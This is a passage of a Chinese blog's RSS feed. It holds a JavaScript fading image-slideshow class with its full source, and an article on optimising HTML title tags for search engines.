href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html" title="多服务器的用户身份认证方案">多服务器的用户身份认证方案</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/mmo%E7%9A%84%E6%8E%92%E9%98%9F%E7%B3%BB%E7%BB%9F.html" title="MMO 的排队系统">MMO 的排队系统</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/title" title="title" rel="tag">title</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%84%9F%E8%B0%A2" title="感谢" rel="tag">感谢</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/eeeeee389.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>图片轮换类，IE7、OP、FF、Chrome测试通过</title>
		<link>http://www.5bay.cn/network-programming/tupianlunhuanleiie7opffchromeceshitongguo.html</link>
		<comments>http://www.5bay.cn/network-programming/tupianlunhuanleiie7opffchromeceshitongguo.html#comments</comments>
		<pubDate>Sat, 22 May 2010 21:22:44 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[JavaScript&Ajax]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[class]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[seo]]></category>
		<category><![CDATA[title]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[类]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=367</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/tupianlunhuanleiie7opffchromeceshitongguo.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>&#60;html&#62; &#60;head&#62;&#60;title&#62;新闻图片轮换类&#60;/title&#62; &#60;script type=&#8221;text/javascript&#8221;&#62; var fs = new FadeSlideClass(); fs.Width = 430; fs.Height = 250; fs.AddImage(&#8220;http://www.5bay.cn/Test/Image/001.jpg&#8220;, &#8220;#&#8221;, &#8220;新闻标题&#8221;); fs.AddImage(&#8220;http://www.5bay.cn/Test/Image/002.jpg&#8220;, &#8220;#&#8221;, &#8220;新闻标题&#8221;); fs.AddImage(&#8220;http://www.5bay.cn/Test/Image/003.jpg&#8220;, &#8220;//g.cn&#8221;, &#8220;去Google&#8221;); fs.AddImage(&#8220;http://www.5bay.cn/Test/Image/004.jpg&#8220;, &#8220;#&#8221;, &#8220;新闻标题&#8221;); fs.AddImage(&#8220;http://www.5bay.cn/Test/Image/005.jpg&#8220;, &#8220;#&#8221;, &#8220;新闻标题&#8221;); fs.RenderTo(&#8220;divStage&#8221;); /* 以下代码构造轮换类 */ function FadeSlideClass() { this.Width = 450; this.Height = 300; this.BorderColor = &#8220;#ddd&#8221;; this.CurrentColor = &#8220;green&#8221;; this.Delay = 5000; var divContainer = [...]]]></description>
			<content:encoded><![CDATA[<p>&lt;<a href="http://www.5bay.cn/tag/html" class="st_tag internal_tag" rel="tag" title="标签 html 下的日志">html</a>&gt;<br />
&lt;head&gt;&lt;<a href="http://www.5bay.cn/tag/title" class="st_tag internal_tag" rel="tag" title="标签 title 下的日志">title</a>&gt;新闻图片轮换类&lt;/<a href="http://www.5bay.cn/tag/title" class="st_tag internal_tag" rel="tag" title="标签 title 下的日志">title</a>&gt;<br />
&lt;script type=&rdquo;text/<a href="http://www.5bay.cn/tag/javascript" class="st_tag internal_tag" rel="tag" title="标签 javascript 下的日志">javascript</a>&rdquo;&gt;<br />
var fs = new FadeSlideClass();<br />
fs.Width = 430;<br />
fs.Height = 250;<br />
fs.AddImage(&ldquo;<a href="http://www.5bay.cn/Test/Image/001.jpg">http://www.5bay.cn/Test/Image/001.jpg</a>&ldquo;, &ldquo;#&rdquo;, &ldquo;新闻标题&rdquo;);<br />
fs.AddImage(&ldquo;<a href="http://www.5bay.cn/Test/Image/002.jpg">http://www.5bay.cn/Test/Image/002.jpg</a>&ldquo;, &ldquo;#&rdquo;, &ldquo;新闻标题&rdquo;);<br />
fs.AddImage(&ldquo;<a href="http://www.5bay.cn/Test/Image/003.jpg">http://www.5bay.cn/Test/Image/003.jpg</a>&ldquo;, &ldquo;//g.cn&rdquo;, &ldquo;去Google&rdquo;);<br />
fs.AddImage(&ldquo;<a href="http://www.5bay.cn/Test/Image/004.jpg">http://www.5bay.cn/Test/Image/004.jpg</a>&ldquo;, &ldquo;#&rdquo;, &ldquo;新闻标题&rdquo;);<br />
fs.AddImage(&ldquo;<a href="http://www.5bay.cn/Test/Image/005.jpg">http://www.5bay.cn/Test/Image/005.jpg</a>&ldquo;, &ldquo;#&rdquo;, &ldquo;新闻标题&rdquo;);<br />
fs.RenderTo(&ldquo;divStage&rdquo;);</p>
<p>/* 以下代码构造轮换类 */<br />
function FadeSlideClass()<br />
{<br />
this.Width = 450;<br />
this.Height = 300;<br />
this.BorderColor = &ldquo;#ddd&rdquo;;<br />
this.CurrentColor = &ldquo;green&rdquo;;<br />
this.Delay = 5000;<br />
var divContainer = document.createElement(&ldquo;<a href="http://www.5bay.cn/tag/div" class="st_tag internal_tag" rel="tag" title="标签 div 下的日志">div</a>&rdquo;);<br />
var divImage = document.createElement(&ldquo;div&rdquo;);<br />
var ulList = document.createElement(&ldquo;ul&rdquo;);<br />
var me = this;<br />
var arrImg = new Array;<br />
this.Tag = divContainer;<br />
this.AddImage = function(strImageUrl, strLink, strTitle)<br />
{<br />
&nbsp;&nbsp; arrImg.push(arguments);<br />
}<br />
this.RenderTo = function(container)<br />
{<br />
&nbsp;&nbsp; if(typeof container == &ldquo;string&rdquo;) container = document.getElementById(container) || container;<br />
&nbsp;&nbsp; if(typeof container == &ldquo;string&rdquo;) return setTimeout(function(){ me.RenderTo(container); }, 100);<br />
&nbsp;&nbsp; if(!arrImg.length) throw new Error(&ldquo;尚未添加图片。&rdquo;);<br />
&nbsp;&nbsp; var cssFloat = typeof ulList.style.cssFloat == &ldquo;string&rdquo; ? &ldquo;cssFloat&rdquo; : &ldquo;styleFloat&rdquo;;<br />
&nbsp;&nbsp; divContainer.style.width = this.Width + &ldquo;px&rdquo;;<br />
&nbsp;&nbsp; divContainer.style.height = this.Height + &ldquo;px&rdquo;;<br />
&nbsp;&nbsp; divImage.style.width = Math.round(this.Width * (arrImg.length &ndash; 1) / arrImg.length) + &ldquo;px&rdquo;;<br />
&nbsp;&nbsp; divImage.style.height = this.Height + &ldquo;px&rdquo;;<br />
&nbsp;&nbsp; divImage.style[cssFloat] = &ldquo;left&rdquo;;<br />
&nbsp;&nbsp; ulList.style.width = (this.Width &ndash; parseInt(divImage.style.width)) + &ldquo;px&rdquo;;<br />
&nbsp;&nbsp; ulList.style.height = this.Height + &ldquo;px&rdquo;;<br />
&nbsp;&nbsp; ulList.style.margin = &ldquo;0px&rdquo;;<br />
&nbsp;&nbsp; ulList.style.padding = &ldquo;0px&rdquo;;<br />
&nbsp;&nbsp; ulList.style[cssFloat] = &ldquo;left&rdquo;;<br />
&nbsp;&nbsp; divContainer.style.overflow = &ldquo;hidden&rdquo;;<br />
&nbsp;&nbsp; divImage.style.overflow = &ldquo;hidden&rdquo;;<br />
&nbsp;&nbsp; ulList.onmouseover = function(){ clearTimeout(me.Handler) };<br />
&nbsp;&nbsp; ulList.onmouseout = function(){ AutoPlay(); };<br />
&nbsp;&nbsp; InitImage(2);<br />
&nbsp;&nbsp; InitList(arrImg.length);<br />
&nbsp;&nbsp; container.appendChild(divContainer);<br />
&nbsp;&nbsp; divContainer.appendChild(divImage);<br />
&nbsp;&nbsp; divContainer.appendChild(ulList);<br />
&nbsp;&nbsp; LiMouseOver.call(ulList.firstChild);<br />
&nbsp;&nbsp; AutoPlay();<br />
&nbsp;&nbsp; this.AddImage = function(){ throw new Error(&ldquo;该方法已过时。&rdquo;); }<br />
}<br />
this.Display = function(imgThumb)<br />
{<br />
&nbsp;&nbsp; var img = divImage.lastChild.lastChild;<br />
&nbsp;&nbsp; var opa = new OpacityClass(img);<br />
&nbsp;&nbsp; opa.Set(20);<br />
&nbsp;&nbsp; img.src = imgThumb.src;<br />
&nbsp;&nbsp; img.parentNode.href = imgThumb.parentNode.href;<br />
&nbsp;&nbsp; img.parentNode.title = imgThumb.parentNode.title;<br />
&nbsp;&nbsp; clearInterval(ulList.Handler);<br />
&nbsp;&nbsp; ulList.Handler = setInterval(function(){<br />
&nbsp;&nbsp;&nbsp; if(opa.Add(5) &gt;= 100)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp; divImage.firstChild.lastChild.src = img.src;<br />
&nbsp;&nbsp;&nbsp;&nbsp; clearInterval(ulList.Handler);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp; }, 25);<br />
}<br />
function LiMouseOver()<br />
{<br />
&nbsp;&nbsp; if(this == ulList.oldLi) return;<br />
&nbsp;&nbsp; if(ulList.oldLi) ulList.oldLi.style.borderColor = me.BorderColor;<br />
&nbsp;&nbsp; this.style.borderColor = me.CurrentColor;<br />
&nbsp;&nbsp; ulList.oldLi = this;<br />
&nbsp;&nbsp; me.Display(this.firstChild.firstChild);<br />
}<br />
function InitImage(count)<br />
{<br />
&nbsp;&nbsp; if(&ndash;count) arguments.callee(count);<br />
&nbsp;&nbsp; var a = document.createElement(&ldquo;a&rdquo;);<br />
&nbsp;&nbsp; a.target = &ldquo;_blank&rdquo;;<br />
&nbsp;&nbsp; divImage.appendChild(a).style.position = &ldquo;absolute&rdquo;;<br />
&nbsp;&nbsp; var img = new Image;<br />
&nbsp;&nbsp; img.width = parseInt(divImage.style.width);<br />
&nbsp;&nbsp; img.height = me.Height;<br />
&nbsp;&nbsp; img.border = 0;<br />
&nbsp;&nbsp; if(!a.appendChild(img).filters) img.style.opacity = 1;<br />
&nbsp;&nbsp; else img.style.filter = &ldquo;alpha(opacity=100)&rdquo;;<br />
}<br />
function InitList(count)<br />
{<br />
&nbsp;&nbsp; if(&ndash;count) InitList(count);<br />
&nbsp;&nbsp; var isIeNoDtd = document.compatMode != &ldquo;<a href="http://www.5bay.cn/tag/css" class="st_tag internal_tag" rel="tag" title="标签 css 下的日志">CSS</a>1Compat&rdquo; &amp;&amp; /msie/i.test(navigator.userAgent);<br />
&nbsp;&nbsp; var data = arrImg[count];<br />
&nbsp;&nbsp; var thumbWidth = parseInt(ulList.style.width);<br />
&nbsp;&nbsp; var thumbHeight = Math.round(me.Height / arrImg.length);<br />
&nbsp;&nbsp; var li = document.createElement(&ldquo;li&rdquo;);<br />
&nbsp;&nbsp; li.style.overflow = &ldquo;hidden&rdquo;;<br />
&nbsp;&nbsp; li.style.width = (isIeNoDtd ? thumbWidth : thumbWidth &ndash; 4) + &ldquo;px&rdquo;;<br />
&nbsp;&nbsp; li.style.height = (isIeNoDtd ? thumbHeight : thumbHeight &ndash; 4) + &ldquo;px&rdquo;;<br />
&nbsp;&nbsp; li.style.borderWidth = &ldquo;2px&rdquo;;<br />
&nbsp;&nbsp; li.style.borderStyle = &ldquo;solid&rdquo;;<br />
&nbsp;&nbsp; li.style.borderColor = me.BorderColor;<br />
&nbsp;&nbsp; var a = document.createElement(&ldquo;a&rdquo;);<br />
&nbsp;&nbsp; a.target = &ldquo;_target&rdquo;;<br />
&nbsp;&nbsp; a.href = data[1];<br />
&nbsp;&nbsp; a.title = data[2];<br />
&nbsp;&nbsp; var img = new Image;<br />
&nbsp;&nbsp; img.border = 0;<br />
&nbsp;&nbsp; img.width = thumbWidth;<br />
&nbsp;&nbsp; img.height = thumbHeight;<br />
&nbsp;&nbsp; img.src = data[0];<br />
&nbsp;&nbsp; img.style.verticalAlign = &ldquo;top&rdquo;;<br />
&nbsp;&nbsp; img.style.margin = &ldquo;-2px&rdquo;;<br />
&nbsp;&nbsp; a.appendChild(img);<br />
&nbsp;&nbsp; li.appendChild(a);<br />
&nbsp;&nbsp; li.style.listStyle = &ldquo;none&rdquo;;<br />
&nbsp;&nbsp; li.onmouseover = LiMouseOver;<br />
&nbsp;&nbsp; ulList.appendChild(li);<br />
}<br />
function AutoPlay()<br />
{<br />
&nbsp;&nbsp; me.Handler = setTimeout(function()<br />
&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp; LiMouseOver.call(ulList.oldLi.nextSibling || ulList.firstChild);<br />
&nbsp;&nbsp;&nbsp; AutoPlay();<br />
&nbsp;&nbsp; }, me.Delay);<br />
}<br />
function OpacityClass(tag)<br />
{<br />
&nbsp;&nbsp; var isFilter = !!tag.filters;<br />
&nbsp;&nbsp; var obj = isFilter ? tag.filters.alpha : tag.style;<br />
&nbsp;&nbsp; this.Set = function(value)<br />
&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp; obj.opacity = isFilter ? value : value / 100;<br />
&nbsp;&nbsp;&nbsp; return this;<br />
&nbsp;&nbsp; }<br />
&nbsp;&nbsp; this.Add = function(value)<br />
&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp; var opa = isFilter ? obj.opacity : obj.opacity * 100;<br />
&nbsp;&nbsp;&nbsp; opa += value;<br />
&nbsp;&nbsp;&nbsp; if(opa &gt; 100) opa = 100;<br />
&nbsp;&nbsp;&nbsp; obj.opacity = isFilter ? opa : opa / 100;<br />
&nbsp;&nbsp;&nbsp; return this;<br />
&nbsp;&nbsp; }<br />
&nbsp;&nbsp; this.valueOf = function()<br />
&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp; return isFilter ? obj.opacity : obj.opacity * 100;<br />
&nbsp;&nbsp; }<br />
}<br />
}<br />
&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;div id=&rdquo;divStage&rdquo;&gt;&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html" title="在Android中创建启动界面">在Android中创建启动界面</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeieeeeeting.html" title="AJAX初学:IE缓存页面的问题">AJAX初学:IE缓存页面的问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年08月17日 -- <a href="http://www.5bay.cn/server-building/nginxxiansu.html" title="Nginx限速">Nginx限速</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月22日 -- <a href="http://www.5bay.cn/me/csseeeeyao.html" title="CSS 中的太极拳口诀">CSS 中的太极拳口诀</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/class" title="class" rel="tag">class</a>, <a href="http://www.5bay.cn/tag/css" title="css" rel="tag">css</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/google" title="google" rel="tag">google</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/javascript" title="javascript" rel="tag">javascript</a>, <a href="http://www.5bay.cn/category/network-programming/javascript-ajax" title="JavaScript&amp;Ajax" rel="tag">JavaScript&amp;Ajax</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/seo" title="seo" rel="tag">seo</a>, <a href="http://www.5bay.cn/tag/title" title="title" rel="tag">title</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%9B%BE%E7%89%87" title="图片" rel="tag">图片</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/tupianlunhuanleiie7opffchromeceshitongguo.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>标题title在seo中越来越重要</title>
		<link>http://www.5bay.cn/website/%E6%A0%87%E9%A2%98title%E5%9C%A8seo%E4%B8%AD%E8%B6%8A%E6%9D%A5%E8%B6%8A%E9%87%8D%E8%A6%81.html</link>
		<comments>http://www.5bay.cn/website/%E6%A0%87%E9%A2%98title%E5%9C%A8seo%E4%B8%AD%E8%B6%8A%E6%9D%A5%E8%B6%8A%E9%87%8D%E8%A6%81.html#comments</comments>
		<pubDate>Thu, 18 Jan 2007 21:13:58 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[网站建设]]></category>
		<category><![CDATA[seo]]></category>
		<category><![CDATA[title]]></category>
		<category><![CDATA[搜索引擎优化]]></category>

		<guid isPermaLink="false">?p=191</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/website/%E6%A0%87%E9%A2%98title%E5%9C%A8seo%E4%B8%AD%E8%B6%8A%E6%9D%A5%E8%B6%8A%E9%87%8D%E8%A6%81.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Title是整个html在搜索引擎搜索结果中返回的第一要素，在目前为止，它被证明是seo效果中最为重要的一项之一，里面拥有最为核心的关键字词，下面是点石互动小鹏搜集到一些目前最为有效，被认为是最佳做法的条列：根据W3C的提议：title的字符不应该超过64个字符，绝对避免超过80个字符，一是有被封杀的危险，第二se有可能抛弃。(字符数是按照英文字符)所有的title标签都打上自己网站的名字，换句话说是所有权。但有特例,如果这个页面是一个问题为title，或者说是一个帮助页面，就没必要。每一页都要有不同的title，这样被索引的几率会增大，当然越独特的标题吸引浏览者更为有效果。如果你是copy的帮助或者其他文章，没有既定的title，那么就干脆将你的关键字做成你的title吧。如果是企业站点，主页名称中可以明确中说明公司的名称或者所获得的一些组织的名称，比如”阿里巴巴诚信会员”等，表明组织身份,这样可以帮助提高客户的信任度。你所包含的关键字最好用一句话来表示，title中应该注明你认为最为重要的工作，关键字词研究出主页内容和所属关键字词的关系，这样有利于搜索引擎更快的辨别页面的主题。为了更好的被辨别，让title中有效的关键字或者标题标签，通常是将你认为比较重要的短语，或者接近的，公司名称or网站名称写出来，这样做的目的是多分配给其他的关键字词，获得长尾效应。分隔符号很多人认为这是一个比较难以选择的问题，通常有”&#124;”,”-”,”_”,”,”以及空格，这个主要看喜好，个人认为用”-”来分割公司与标题名称，用”，”来分割其他关键字词是个不错的选择，反正这个没有关系，不做标题标签，绝对对seo来说是个严重的错误。如果你希望有好的排名，多推敲你的title，一定要合理的分配你的title，点石小鹏一直强调为不要让搜索引擎轻易的认为你是在堆砌关键字词或者作弊，否则离你的世界末日不远了。 相关博文2010年05月23日 -- 图片轮换类，IE7、OP、FF、Chrome测试通过 (2)2006年09月29日 -- 26步打造高访问量网站 (0)2006年09月28日 -- 搜索引擎优化(SEO) (0)2011年06月29日 -- 在Android中创建启动界面 (0)2010年08月17日 -- Nginx限速 (0)2010年07月28日 -- 无需输入密码登陆3389 (0)2010年07月26日 -- ajax基础知识:js事件触发大全 (0)2010年05月23日 -- JS实现全景图效果360度旋转 (1)2010年05月23日 -- nginx的rewrite规则 (1)2008年11月17日 -- URLSEO patchs for PHPOK3.0 simple (0)2008年10月14日 -- URLSEO patchs for PHPOK 2.2 (3)2007年01月18日 -- URL的优化 (0)2006年09月29日 -- URL的SEO技巧&#38;保护网站 (0) 标签Tags：seo, title, 搜索引擎优化, 网站建设]]></description>
			<content:encoded><![CDATA[<p>Title是整个html在搜索引擎搜索结果中返回的第一要素，在目前为止，它被证明是seo效果中最为重要的一项之一，里面拥有最为核心的关键字词，下面是点石互动小鹏搜集到一些目前最为有效，被认为是最佳做法的条列：<br/><br/>根据W3C的提议：title的字符不应该超过64个字符，绝对避免超过80个字符，一是有被封杀的危险，第二se有可能抛弃。(字符数是按照英文字符)<br/><br/>所有的title标签都打上自己网站的名字，换句话说是所有权。但有特例,如果这个页面是一个问题为title，或者说是一个帮助页面，就没必要。<br/><br/>每一页都要有不同的title，这样被索引的几率会增大，当然越独特的标题吸引浏览者更为有效果。如果你是copy的帮助或者其他文章，没有既定的title，那么就干脆将你的关键字做成你的title吧。<span id="more-191"></span><br/><br/>如果是企业站点，主页名称中可以明确中说明公司的名称或者所获得的一些组织的名称，比如”阿里巴巴诚信会员”等，表明组织身份,这样可以帮助提高客户的信任度。<br/><br/>你所包含的关键字最好用一句话来表示，title中应该注明你认为最为重要的工作，关键字词研究出主页内容和所属关键字词的关系，这样有利于搜索引擎更快的辨别页面的主题。<br/><br/>为了更好的被辨别，让title中有效的关键字或者标题标签，通常是将你认为比较重要的短语，或者接近的，公司名称or网站名称写出来，这样做的目的是多分配给其他的关键字词，获得长尾效应。<br/><br/>分隔符号很多人认为这是一个比较难以选择的问题，通常有”&#124;”,”-”,”_”,”,”以及空格，这个主要看喜好，个人认为用”-”来分割公司与标题名称，用”，”来分割其他关键字词是个不错的选择，反正这个没有关系，不做标题标签，绝对对seo来说是个严重的错误。如果你希望有好的排名，多推敲你的title，一定要合理的分配你的title，点石小鹏一直强调为不要让搜索引擎轻易的认为你是在堆砌关键字词或者作弊，否则离你的世界末日不远了。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/tupianlunhuanleiie7opffchromeceshitongguo.html" title="图片轮换类，IE7、OP、FF、Chrome测试通过">图片轮换类，IE7、OP、FF、Chrome测试通过</a> (2)</li><li>2006年09月29日 -- <a href="http://www.5bay.cn/website/26%E6%AD%A5%E6%89%93%E9%80%A0%E9%AB%98%E8%AE%BF%E9%97%AE%E9%87%8F%E7%BD%91%E7%AB%99.html" title="26步打造高访问量网站">26步打造高访问量网站</a> (0)</li><li>2006年09月28日 -- <a href="http://www.5bay.cn/website/%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E4%BC%98%E5%8C%96seo.html" title="搜索引擎优化(SEO)">搜索引擎优化(SEO)</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html" title="在Android中创建启动界面">在Android中创建启动界面</a> (0)</li><li>2010年08月17日 -- <a href="http://www.5bay.cn/server-building/nginxxiansu.html" title="Nginx限速">Nginx限速</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/eeeeee389.html" title="无需输入密码登陆3389">无需输入密码登陆3389</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeeeseeao.html" title="ajax基础知识:js事件触发大全">ajax基础知识:js事件触发大全</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/jsshixianquanjingtuxiaoguo360duxuanzhuan.html" title="JS实现全景图效果360度旋转">JS实现全景图效果360度旋转</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2008年11月17日 -- <a href="http://www.5bay.cn/me/urlseopatchsforphpok30simple.html" title="URLSEO patchs for PHPOK3.0 simple">URLSEO patchs for PHPOK3.0 simple</a> (0)</li><li>2008年10月14日 -- <a href="http://www.5bay.cn/me/urlseopatchsforphpok22.html" title="URLSEO patchs for PHPOK 2.2">URLSEO patchs for PHPOK 2.2</a> (3)</li><li>2007年01月18日 -- <a href="http://www.5bay.cn/website/url%E7%9A%84%E4%BC%98%E5%8C%96.html" title="URL的优化">URL的优化</a> (0)</li><li>2006年09月29日 -- <a href="http://www.5bay.cn/website/url%E7%9A%84seo%E6%8A%80%E5%B7%A7amp%3B%E4%BF%9D%E6%8A%A4%E7%BD%91%E7%AB%99.html" title="URL的SEO技巧&amp;保护网站">URL的SEO技巧&amp;保护网站</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/seo" title="seo" rel="tag">seo</a>, <a href="http://www.5bay.cn/tag/title" title="title" rel="tag">title</a>, <a href="http://www.5bay.cn/tag/%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E4%BC%98%E5%8C%96" title="搜索引擎优化" rel="tag">搜索引擎优化</a>, <a href="http://www.5bay.cn/category/website" title="网站建设" rel="tag">网站建设</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/website/%E6%A0%87%E9%A2%98title%E5%9C%A8seo%E4%B8%AD%E8%B6%8A%E6%9D%A5%E8%B6%8A%E9%87%8D%E8%A6%81.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

